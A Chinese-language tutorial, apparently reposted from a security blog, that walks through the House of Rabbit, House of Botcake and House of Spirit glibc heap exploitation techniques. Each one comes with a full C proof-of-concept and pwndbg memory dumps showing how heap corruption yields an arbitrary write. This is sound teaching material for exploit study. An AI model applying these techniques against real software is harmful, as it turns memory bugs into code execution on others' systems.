House of 系列堆漏洞详解(二)
2020-03-02 09:50:56 Author: xz.aliyun.com(查看原文) 阅读量:287 收藏

House of Rabbit

原理

如果程序同时满足以下三个条件

  1. 可以分配任意大小的堆块并且释放,主要包括三类fastbin大小的堆块、smallbin大小的堆块、较大的堆块(用于分配到任意地址处)
  2. 存在一块已知地址的内存空间,并可以任意写至少0x20长度的字节
  3. 存在fastbin dup、UAF等漏洞,用于劫持fastbin的fd指针。

当通过malloc函数分配内存时,当超过某特定阈值时,堆块会由mmap来分配,但同时会改变该阈值。通过连续malloc然后free两次超大chunk,会扩大top chunk的size。在申请一个fast chunk和一个small chunk,保证small chunk紧邻top chunk。在可控内存处伪造两个chunk,一个大小为0x11,绕过检查,一个为0xfffffffffffffff1,保证可覆盖任意地址并设置了inuse位。再利用其他漏洞将0xfffffffffffffff1大小的fake chunk链接到fast bin链表。free触发malloc_consolidate,用于对fastbin合并,并放到unsorted bin中。再申请一个超大 chunk,0xfffffffffffffff1大小的fake chunk会链接到 largebin,最后申请任意长度的地址,使堆块地址上溢到当前堆地址的低地址位置,从而可以分配到任意地址,达到内存任意写的目的。

Poc

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void evict_tcache(size_t size);

char target[0x30] = "Hello, World!";
unsigned long gbuf[8] = {0};

int main(void){
    void *p, *fast, *small, *fake;
    char *victim;

    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    //在不泄漏地址的情况下绕过堆ASLR,使覆盖位于任意地址的变量成为可能。
    printf("House of Rabbit Poc\n\n");

    printf("0. 关闭 0x20,0x90 chunks 的tcache (glibc version >= 2.26)\n\n");
    evict_tcache(0x18);
    evict_tcache(0x88);

    printf("1. 'av->system_mem > 0xa00000'\n");
    p = malloc(0xa00000);
    printf(" 在 %p 通过mmap申请0xa00000 byte大小的内存, 然后 free.\n", p);
    free(p);

    p = malloc(0xa00000);
    printf("   在 %p 通过mmap申请0xa00000 byte大小的内存, 然后 free.\n", p);
    free(p);
    printf(" 'av->system_mem' 将会比 0xa00000 大.\n\n");

    printf("2. Free fast chunk 插入 fastbins 链表\n");
    fast = malloc(0x18);
    small = malloc(0x88);
    printf( "  申请 fast chunk 和 small chunk.\n"
        "  fast = %p\n"
        "  small = %p\n", fast, small);
    free(fast);
    printf("  Free fast chunk.\n\n");

    printf("3. 在 .bss 构造 fake_chunk\n");
    gbuf[0] = 0xfffffffffffffff0;
    gbuf[1] = 0x10;
    gbuf[3] = 0x21;
    gbuf[7] = 0x1;
    printf( "  fake_chunk1 (size : 0x%lx) is at %p\n"
        "  fake_chunk2 (size : 0x%lx) is at %p\n\n"
        , gbuf[3], &gbuf[2], gbuf[1], &gbuf[0]);

    fake = &gbuf[2];
    printf( "漏洞利用 (UAF,fastbins dup等)\n"
        "  *fast = %p\n"
        , fake);
    *(unsigned long**)fast = fake;
    printf("  fastbins list : [%p, %p, %p]\n\n", fast-0x10, fake, *(void **)(fake+0x10));

    printf( "4. 调用 malloc_consolidate\n"
        "  Free 和top相邻的 small chunk (%p) , 将 fake_chunk1(%p) 插入 unsorted bins 链表.\n\n"
        , small, fake);
    free(small);

    printf( "5. 将 unsorted bins 链接到合适的链表\n"
        "  将 fake_chunk1 的 size 重写为 0xa0001 来绕过 'size < av->system_mem' 检查.\n");
    gbuf[3] = 0xa00001;
    malloc(0xa00000);
    printf( "  申请一个超大 chunk.\n"
        "  现在, fake_chunk1 会链接到 largebin[126](max).\n"
        "  然后, 将fake_chunk1 的 size 改为 0xfffffffffffffff1.\n\n");
    gbuf[3] = 0xfffffffffffffff1;   

    printf( "6. 覆写 .data 段上的目标值\n"
        "  目标值位于 %p\n"
        "  覆写之前是 : %s\n"
        , &target, target);

    malloc((void*)&target-(void*)(gbuf+2)-0x20);
    victim = malloc(0x10);
    printf("  在 %p 申请 0x10 byte, 然后任意写入.\n", victim);
    strcpy(victim, "Hacked!!");

    printf("  覆写之后是  : %s\n", target);
}

void evict_tcache(size_t size){
    void *p;

#if defined(GLIBC_VERSION) && (GLIBC_VERSION >= 26)
    p = malloc(size);

#if (GLIBC_VERSION < 29)
    free(p);
    free(p);
    malloc(size);
    malloc(size);

    *(void**)p = NULL;

    malloc(size);
#else

#if (GLIBC_VERSION == 29)
    char *counts        = (char*)(((unsigned long)p & ~0xfff) + 0x10);
#else
    uint16_t *counts    = (char*)(((unsigned long)p & ~0xfff) + 0x10);
#endif
    counts[(size + 0x10 >> 4) - 2] = 0xff;

#endif
#endif
}

分步分析

1 malloc两个堆块使av->system_mem > 0xa00000

p = malloc(0xa00000);
    free(p);

    p = malloc(0xa00000);
    free(p);
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x402000 r-xp     2000 0      /home/kabeo/Desktop/house_of_rabbit
          0x601000           0x602000 r--p     1000 1000   /home/kabeo/Desktop/house_of_rabbit
          0x602000           0x603000 rw-p     1000 2000   /home/kabeo/Desktop/house_of_rabbit
          0x603000          0x1024000 rw-p   a21000 0      [heap]  <===== 扩大到0xa21000
    0x7ffff7a0d000     0x7ffff7bcd000 r-xp   1c0000 0      /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7bcd000     0x7ffff7dcd000 ---p   200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dcd000     0x7ffff7dd1000 r--p     4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dd1000     0x7ffff7dd3000 rw-p     2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dd3000     0x7ffff7dd7000 rw-p     4000 0      
    0x7ffff7dd7000     0x7ffff7dfd000 r-xp    26000 0      /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7fdd000     0x7ffff7fe0000 rw-p     3000 0      
    0x7ffff7ff7000     0x7ffff7ffa000 r--p     3000 0      [vvar]
    0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000 0      [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 25000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 26000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0      
    0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]

2 Free fast chunk 插入 fastbins 链表

fast = malloc(0x18);
small = malloc(0x88);

free(fast);
pwndbg> heap
0x603000 FASTBIN {
  prev_size = 0, 
  size = 33, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x91
}
0x603020 PREV_INUSE {
  prev_size = 0, 
  size = 145, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x6030b0 PREV_INUSE {
  prev_size = 0, 
  size = 10620753, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}


pwndbg> bins 
fastbins
0x20: 0x603000 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty


pwndbg> x/30xg 0x603020-0x20
0x603000:   0x0000000000000000  0x0000000000000021 <==== fast
0x603010:   0x0000000000000000  0x0000000000000000
0x603020:   0x0000000000000000  0x0000000000000091 <==== small
0x603030:   0x0000000000000000  0x0000000000000000
0x603040:   0x0000000000000000  0x0000000000000000
0x603050:   0x0000000000000000  0x0000000000000000
0x603060:   0x0000000000000000  0x0000000000000000
0x603070:   0x0000000000000000  0x0000000000000000
0x603080:   0x0000000000000000  0x0000000000000000
0x603090:   0x0000000000000000  0x0000000000000000
0x6030a0:   0x0000000000000000  0x0000000000000000
0x6030b0:   0x0000000000000000  0x0000000000a20f51 <==== top chunk
0x6030c0:   0x0000000000000000  0x0000000000000000
0x6030d0:   0x0000000000000000  0x0000000000000000
0x6030e0:   0x0000000000000000  0x0000000000000000

3 在 .bss 段构造 fake_chunk

gbuf[0] = 0xfffffffffffffff0;
gbuf[1] = 0x10;
gbuf[3] = 0x21;
gbuf[7] = 0x1;

fake = &gbuf[2];
pwndbg> x/20xg 0x6020f0-0x20
0x6020d0 <stdin@@GLIBC_2.2.5>:  0x00007ffff7dd18e0  0x0000000000000000
0x6020e0 <gbuf>:    0xfffffffffffffff0  0x0000000000000010
0x6020f0 <gbuf+16>: 0x0000000000000000  0x0000000000000021 <==== fake chunk
0x602100 <gbuf+32>: 0x0000000000000000  0x0000000000000000
0x602110 <gbuf+48>: 0x0000000000000000  0x0000000000000001
0x602120:   0x0000000000000000  0x0000000000000000
0x602130:   0x0000000000000000  0x0000000000000000
0x602140:   0x0000000000000000  0x0000000000000000
0x602150:   0x0000000000000000  0x0000000000000000
0x602160:   0x0000000000000000  0x0000000000000000

4 通过其他漏洞改写fast chunk指向fake chunk

*(unsigned long**)fast = fake;
pwndbg> bins 
fastbins
0x20: 0x603000 —▸ 0x6020f0 (gbuf+16) ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty


pwndbg> x/30xg 0x603020-0x20
0x603000:   0x0000000000000000  0x0000000000000021
0x603010:   0x00000000006020f0  0x0000000000000000 <==== 改写fastbin指向
0x603020:   0x0000000000000000  0x0000000000000091
0x603030:   0x0000000000000000  0x0000000000000000
0x603040:   0x0000000000000000  0x0000000000000000
0x603050:   0x0000000000000000  0x0000000000000000
0x603060:   0x0000000000000000  0x0000000000000000
0x603070:   0x0000000000000000  0x0000000000000000
0x603080:   0x0000000000000000  0x0000000000000000
0x603090:   0x0000000000000000  0x0000000000000000
0x6030a0:   0x0000000000000000  0x0000000000000000
0x6030b0:   0x0000000000000000  0x0000000000a20f51
0x6030c0:   0x0000000000000000  0x0000000000000000
0x6030d0:   0x0000000000000000  0x0000000000000000
0x6030e0:   0x0000000000000000  0x0000000000000000

5 调用 malloc_consolidate,Free 和top相邻的 small chunk , 将 fake_chunk1插入 unsorted bins 链表

pwndbg> bins 
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x6020f0 (gbuf+16) —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x6020f0
smallbins
empty
largebins
empty
pwndbg> x/30xg 0x603020-0x20
0x603000:   0x0000000000000000  0x0000000000a21001 <==== fast chunk size改变
0x603010:   0x00000000006020f0  0x0000000000000000
0x603020:   0x0000000000000000  0x0000000000a20fe1 <==== small chunk size改变
0x603030:   0x0000000000000000  0x0000000000000000
0x603040:   0x0000000000000000  0x0000000000000000
0x603050:   0x0000000000000000  0x0000000000000000
0x603060:   0x0000000000000000  0x0000000000000000
0x603070:   0x0000000000000000  0x0000000000000000
0x603080:   0x0000000000000000  0x0000000000000000
0x603090:   0x0000000000000000  0x0000000000000000
0x6030a0:   0x0000000000000000  0x0000000000000000
0x6030b0:   0x0000000000000000  0x0000000000a20f51
0x6030c0:   0x0000000000000000  0x0000000000000000
0x6030d0:   0x0000000000000000  0x0000000000000000
0x6030e0:   0x0000000000000000  0x0000000000000000

6 申请一个超大 chunk,fake_chunk1将链接到 largebin,修改fake_chunk1 size

gbuf[3] = 0xa00001;
malloc(0xa00000);

gbuf[3] = 0xfffffffffffffff1;
pwndbg> heap
0x603000 PREV_INUSE {
  prev_size = 0, 
  size = 10485777, 
  fd = 0x6020f0 <gbuf+16>, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0xa20fe1
}
0x1003010 PREV_INUSE {
  prev_size = 0, 
  size = 135153, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
pwndbg> bins 
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
0x80000: 0x6020f0 (gbuf+16) —▸ 0x7ffff7dd2348 (main_arena+2088) ◂— 0x6020f0
pwndbg> x/30xg 0x603020-0x20
0x603000:   0x0000000000000000  0x0000000000a00011
0x603010:   0x00000000006020f0  0x0000000000000000
0x603020:   0x0000000000000000  0x0000000000a20fe1
0x603030:   0x0000000000000000  0x0000000000000000
0x603040:   0x0000000000000000  0x0000000000000000
0x603050:   0x0000000000000000  0x0000000000000000
0x603060:   0x0000000000000000  0x0000000000000000
0x603070:   0x0000000000000000  0x0000000000000000
0x603080:   0x0000000000000000  0x0000000000000000
0x603090:   0x0000000000000000  0x0000000000000000
0x6030a0:   0x0000000000000000  0x0000000000000000
0x6030b0:   0x0000000000000000  0x0000000000a20f51
0x6030c0:   0x0000000000000000  0x0000000000000000
0x6030d0:   0x0000000000000000  0x0000000000000000
0x6030e0:   0x0000000000000000  0x0000000000000000

0x6020d0 <stdin@@GLIBC_2.2.5>:  0x00007ffff7dd18e0  0x0000000000000000
0x6020e0 <gbuf>:    0xfffffffffffffff0  0x0000000000000010
0x6020f0 <gbuf+16>: 0x0000000000000000  0xfffffffffffffff1 <==== 修改fake chunk size
0x602100 <gbuf+32>: 0x00007ffff7dd2348  0x00007ffff7dd2348
0x602110 <gbuf+48>: 0x00000000006020f0  0x00000000006020f0
0x602120:   0x0000000000000000  0x0000000000000000
0x602130:   0x0000000000000000  0x0000000000000000
0x602140:   0x0000000000000000  0x0000000000000000
0x602150:   0x0000000000000000  0x0000000000000000
0x602160:   0x0000000000000000  0x0000000000000000

7 覆写可控内存,达到内存任意写

malloc((void*)&target-(void*)(gbuf+2)-0x20);
victim = malloc(0x10);

strcpy(victim, "Hacked!!");
pwndbg> x/20xg 0x602080-0x10
0x602070:   0x0000000000000000  0x0000000000000021
0x602080 <target>:  0x212164656b636148  0x00007ffff7dd1b00
0x602090 <target+16>:   0x0000000000000000  0x0000000000000051
0x6020a0 <target+32>:   0x00007ffff7dd1b78  0x00007ffff7dd1b78
0x6020b0:   0x0000000000000000  0x0000000000000000
0x6020c0 <stdout@@GLIBC_2.2.5>: 0x00007ffff7dd2620  0x0000000000000000
0x6020d0 <stdin@@GLIBC_2.2.5>:  0x00007ffff7dd18e0  0x0000000000000000
0x6020e0 <gbuf>:    0x0000000000000050  0x0000000000000010
0x6020f0 <gbuf+16>: 0x0000000000000000  0xffffffffffffff81
0x602100 <gbuf+32>: 0x00007ffff7dd2348  0x00007ffff7dd2348

Glibc 2.26

从Glibc2.26开始加入了tcache,可通过以下代码绕过

void evict_tcache(size_t size){
    void *p;

#if defined(GLIBC_VERSION) && (GLIBC_VERSION >= 26)
    p = malloc(size);

#if (GLIBC_VERSION < 29)
    free(p);
    free(p);
    malloc(size);
    malloc(size);

    *(void**)p = NULL;

    malloc(size);
#else

#if (GLIBC_VERSION == 29)
    char *counts        = (char*)(((unsigned long)p & ~0xfff) + 0x10);
#else
    uint16_t *counts    = (char*)(((unsigned long)p & ~0xfff) + 0x10);
#endif
    counts[(size + 0x10 >> 4) - 2] = 0xff;

#endif
#endif
}

利用思路

house of rabbit漏洞可以绕过堆块的地址随机化保护(ASLR)达到任意地址分配的效果,因此在存在sh的文件中可直接getshell。

House_of_botcake

原理

house of botcake利用手法只需要程序存在double free即可。

首先填充 tcache bin 链表,然后使用malloc从tcache bin链表中取出一个chunk,然后通过二次free将 victim chunk 加入tcache bin链表,然后利用堆块重叠将double free块的fd指针覆写为目标位置,再次malloc即可控制到目标位置,达到任意写操作。

Poc

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
    puts("House of botcake Poc\n\n");

    //禁用缓冲并使_FILE_IO不影响堆
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    // 准备目标
    intptr_t stack_var[4];
    printf("目标地址是 %p.\n\n", stack_var);

    puts("堆布局构造");
    puts("申请7个 chunks(malloc(0x100)) 用于稍后填充tcache bin链表.");
    intptr_t *x[7];
    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
        x[i] = malloc(0x100);
    }
    puts("为之后的合并申请一个 prev chunk");
    intptr_t *prev = malloc(0x100);
    puts("申请用于double free的 victim chunk.");
    intptr_t *a = malloc(0x100);
    printf("malloc(0x100): a=%p.\n", a); 
    puts("申请一个填充chunk防止top chunk合并.\n");
    malloc(0x10);

    puts("接下来可以造成堆块重叠");
    puts("Step 1: 填充 tcache bin 链表");
    for(int i=0; i<7; i++){
        free(x[i]);
    }
    puts("Step 2: free victim chunk 并链接到 unsorted bin");
    free(a);

    puts("Step 3: free prev chunk 使它和 victim chunk 合并.");
    free(prev);

    puts("Step 4: 使用malloc从tcache bin链表中取出一个chunk,然后通过二次free将 victim chunk 加入tcache bin链表\n");
    malloc(0x100);
    free(a);
    puts("double free 利用完成\n\n");

    puts("tcache 毒化");
    puts("现在 victim chunk 被包含在一个更大的已释放块中,可以通过利用块重叠进行 tcache 毒化");
    intptr_t *b = malloc(0x120);
    puts("将 victim chunk 的 fd 指针覆写为目标位置");
    b[0x120/8-2] = (long)stack_var;

    puts("malloc申请到目标位置.");
    malloc(0x100);
    intptr_t *c = malloc(0x100);
    printf("新申请的 chunk 位于 %p\n", c);

    assert(c==stack_var);
    printf("已控制目标位置!\n\n");

    return 0;
}

分步分析

1 堆内布局构造

intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
    x[i] = malloc(0x100);
}

intptr_t *prev = malloc(0x100);

intptr_t *a = malloc(0x100);

malloc(0x10);
pwndbg> x/50xg 0x555555559f20-0x20
                       ...
0x555555559f00: 0x0000000000000000  0x0000000000000000
0x555555559f10: 0x0000000000000000  0x0000000000000000
0x555555559f20: 0x0000000000000000  0x0000000000000111 <==== victim chunk
0x555555559f30: 0x0000000000000000  0x0000000000000000
0x555555559f40: 0x0000000000000000  0x0000000000000000
0x555555559f50: 0x0000000000000000  0x0000000000000000
0x555555559f60: 0x0000000000000000  0x0000000000000000
0x555555559f70: 0x0000000000000000  0x0000000000000000
0x555555559f80: 0x0000000000000000  0x0000000000000000
0x555555559f90: 0x0000000000000000  0x0000000000000000
0x555555559fa0: 0x0000000000000000  0x0000000000000000
0x555555559fb0: 0x0000000000000000  0x0000000000000000
0x555555559fc0: 0x0000000000000000  0x0000000000000000
0x555555559fd0: 0x0000000000000000  0x0000000000000000
0x555555559fe0: 0x0000000000000000  0x0000000000000000
0x555555559ff0: 0x0000000000000000  0x0000000000000000
0x55555555a000: 0x0000000000000000  0x0000000000000000
0x55555555a010: 0x0000000000000000  0x0000000000000000
0x55555555a020: 0x0000000000000000  0x0000000000000000
0x55555555a030: 0x0000000000000000  0x0000000000000021 <==== 防止合并
0x55555555a040: 0x0000000000000000  0x0000000000000000
0x55555555a050: 0x0000000000000000  0x000000000001ffb1 <==== top chunk
0x55555555a060: 0x0000000000000000  0x0000000000000000
0x55555555a070: 0x0000000000000000  0x0000000000000000
0x55555555a080: 0x0000000000000000  0x0000000000000000

2 填充 tcache bin 链表

for(int i=0; i<7; i++){
    free(x[i]);
}
pwndbg> tcachebins 
tcachebins
0x110 [  7]: 0x555555559d10 —▸ 0x555555559c00 —▸ 0x555555559af0 —▸ 0x5555555599e0 —▸ 0x5555555598d0 —▸ 0x5555555597c0 —▸ 0x5555555596b0 ◂— 0x0
0x410 [  1]: 0x5555555592a0 ◂— 0x0

3 free victim chunk 并链接到 unsorted bin

pwndbg> bins 
tcachebins
0x110 [  7]: 0x555555559d10 —▸ 0x555555559c00 —▸ 0x555555559af0 —▸ 0x5555555599e0 —▸ 0x5555555598d0 —▸ 0x5555555597c0 —▸ 0x5555555596b0 ◂— 0x0
0x410 [  1]: 0x5555555592a0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x555555559f20 —▸ 0x7ffff7faebe0 (main_arena+96) ◂— 0x555555559f20
smallbins
empty
largebins
empty

4 free prev chunk 使它和 victim chunk 合并

pwndbg> bins 
tcachebins
0x110 [  7]: 0x555555559d10 —▸ 0x555555559c00 —▸ 0x555555559af0 —▸ 0x5555555599e0 —▸ 0x5555555598d0 —▸ 0x5555555597c0 —▸ 0x5555555596b0 ◂— 0x0
0x410 [  1]: 0x5555555592a0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x555555559e10 —▸ 0x7ffff7faebe0 (main_arena+96) ◂— 0x555555559e10    <====== 合并
smallbins
empty
largebins
empty

5 使用malloc从tcache bin链表中取出一个chunk,double free将 victim chunk 加入tcache bin链表

pwndbg> tcachebins 
0x110 [  6]: 0x555555559c00 —▸ 0x555555559af0 —▸ 0x5555555599e0 —▸ 0x5555555598d0 —▸ 0x5555555597c0 —▸ 0x5555555596b0 ◂— 0x0                <======== malloc取出
0x410 [  1]: 0x5555555592a0 ◂— 0x0


pwndbg> tcachebins 
0x110 [  7]: 0x555555559f30 —▸ 0x555555559c00 —▸ 0x555555559af0 —▸ 0x5555555599e0 —▸ 0x5555555598d0 —▸ 0x5555555597c0 —▸ 0x5555555596b0 ◂— 0x0          <====== double free加入
0x410 [  1]: 0x5555555592a0 ◂— 0x0

6 利用堆块重叠将 victim chunk 的 fd 指针覆写为目标位置

intptr_t *b = malloc(0x120);

b[0x120/8-2] = (long)stack_var;
pwndbg> x/50xg 0x555555559f20-0x20
0x555555559f00: 0x0000000000000000  0x0000000000000000
0x555555559f10: 0x0000000000000000  0x0000000000000000
0x555555559f20: 0x0000000000000000  0x0000000000000111
0x555555559f30: 0x00007fffffffdb00  0x0000555555559010 <==== 堆块重叠,写入fd
0x555555559f40: 0x0000000000000000  0x00000000000000f1
0x555555559f50: 0x00007ffff7faebe0  0x00007ffff7faebe0
0x555555559f60: 0x0000000000000000  0x0000000000000000
0x555555559f70: 0x0000000000000000  0x0000000000000000
                       ...
0x55555555a010: 0x0000000000000000  0x0000000000000000
0x55555555a020: 0x0000000000000000  0x0000000000000000
0x55555555a030: 0x00000000000000f0  0x0000000000000020
0x55555555a040: 0x0000000000000000  0x0000000000000000
0x55555555a050: 0x0000000000000000  0x000000000001ffb1 <==== top chunk
0x55555555a060: 0x0000000000000000  0x0000000000000000
0x55555555a070: 0x0000000000000000  0x0000000000000000
0x55555555a080: 0x0000000000000000  0x0000000000000000

7 malloc申请到目标位置

malloc(0x100);
intptr_t *c = malloc(0x100);

利用思路

该利用可以bypass double free的check,达到任意地址写,测试发现glibc2.30版本也可以利用。

House of Spirit

原理

通过伪造fastbin,再将一个目前可用的chunk的指针改写为伪造fastbin地址,将这个chunk free,相当于free一个假的fastbin堆块,然后再下次malloc的时候就会返回该假堆块。

Poc

#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "House of Spirit Poc\n\n");

    fprintf(stderr, "Step1: malloc初始化堆内存\n\n");
    malloc(1);

    fprintf(stderr, "Step2: 覆盖一个堆指针指向伪造的 fastbin 区域\n");
    unsigned long long *a;
    unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

    fprintf(stderr, "\t这片区域 (长度为: %lu) 包含两个 fake chunk.\n", sizeof(fake_chunks));
    fprintf(stderr, "\t第一个fake chunk位于 %p\n", &fake_chunks[1]);
    fprintf(stderr, "\t第二个fake chunk位于 %p\n", &fake_chunks[9]);

    fake_chunks[1] = 0x40; 

    fprintf(stderr, "\t第二个fake chunk 的size必须大于 2*SIZE_SZ (x64上 > 16) && 小于 av->system_mem,用于绕过nextsize检查\n");
    fake_chunks[9] = 0x1234; // nextsize

    fprintf(stderr, "\t覆盖堆指针指向第一个fake chunk %p \n\n", &fake_chunks[1]);
    a = &fake_chunks[2];

    fprintf(stderr, "Step3: free被覆盖堆指针的堆\n\n");
    free(a);

    fprintf(stderr, "Step4: malloc申请到fake chunk\n");
    fprintf(stderr, "\t再次malloc将会在 %p 返回fake chunk %p \n", &fake_chunks[1], &fake_chunks[2]);
    fprintf(stderr, "\tmalloc(0x30): %p\n", malloc(0x30));
}

分步分析

1 malloc初始化堆内存

pwndbg> heap
0x602000 FASTBIN {
  prev_size = 0, 
  size = 33, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x20fe1
}
0x602020 PREV_INUSE {
  prev_size = 0, 
  size = 135137, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

pwndbg> x/10xg 0x602020-0x20
0x602000:   0x0000000000000000  0x0000000000000021 <==== 改写目标chunk
0x602010:   0x0000000000000000  0x0000000000000000
0x602020:   0x0000000000000000  0x0000000000020fe1
0x602030:   0x0000000000000000  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000000

2 覆盖一个堆指针指向伪造的 fastbin 区域

unsigned long long *a;
    unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

    fake_chunks[1] = 0x40; 
    fake_chunks[9] = 0x1234; // nextsize

    a = &fake_chunks[2];
pwndbg> x/16xg 0x7fffffffdca8
0x7fffffffdca8: 0x0000000000000040  0x00007ffff7ffe168 <==== fake chunk1
0x7fffffffdcb8: 0x0000000000f0b5ff  0x0000000000000001
0x7fffffffdcc8: 0x00000000004008dd  0x00007fffffffdcfe
0x7fffffffdcd8: 0x0000000000000000  0x0000000000400890
0x7fffffffdce8: 0x0000000000001234  0x00007fffffffdde0 <==== fake chunk2
0x7fffffffdcf8: 0xce9b2a14d1359800  0x0000000000400890
0x7fffffffdd08: 0x00007ffff7a2d830  0x0000000000000001
0x7fffffffdd18: 0x00007fffffffdde8  0x00000001f7ffcca0

3 free该堆指针

pwndbg> fastbins 
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x7fffffffdca0 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0

4 malloc申请到该区域

tcache

glibc2.26之后加入了tcache机制,tcache在提高内存管理效率的同时,安全性有所下降

tcache house of spirit只需伪造一个size区域,然后将伪造的fakechunk释放,再次malloc相应大小就可以得到fake_chunk。

利用思路

house_of_spirit可以进行任意地址写,可以改写为system直接getshell,也可以进一步利用。

总结

House of系列堆漏洞的分析到这里就结束了,通过gdb单步调试,对堆结构等熟悉了很多。

在glibc版本不断升级的同时,堆内的一些保护不断完善,但与此同时,像tcache这样的新增技术也暴露出新的漏洞,在后期的漏洞挖掘中,对这些新技术的漏洞挖掘应该更加重视。


文章来源: http://xz.aliyun.com/t/7267
如有侵权请联系:admin#unsafe.sh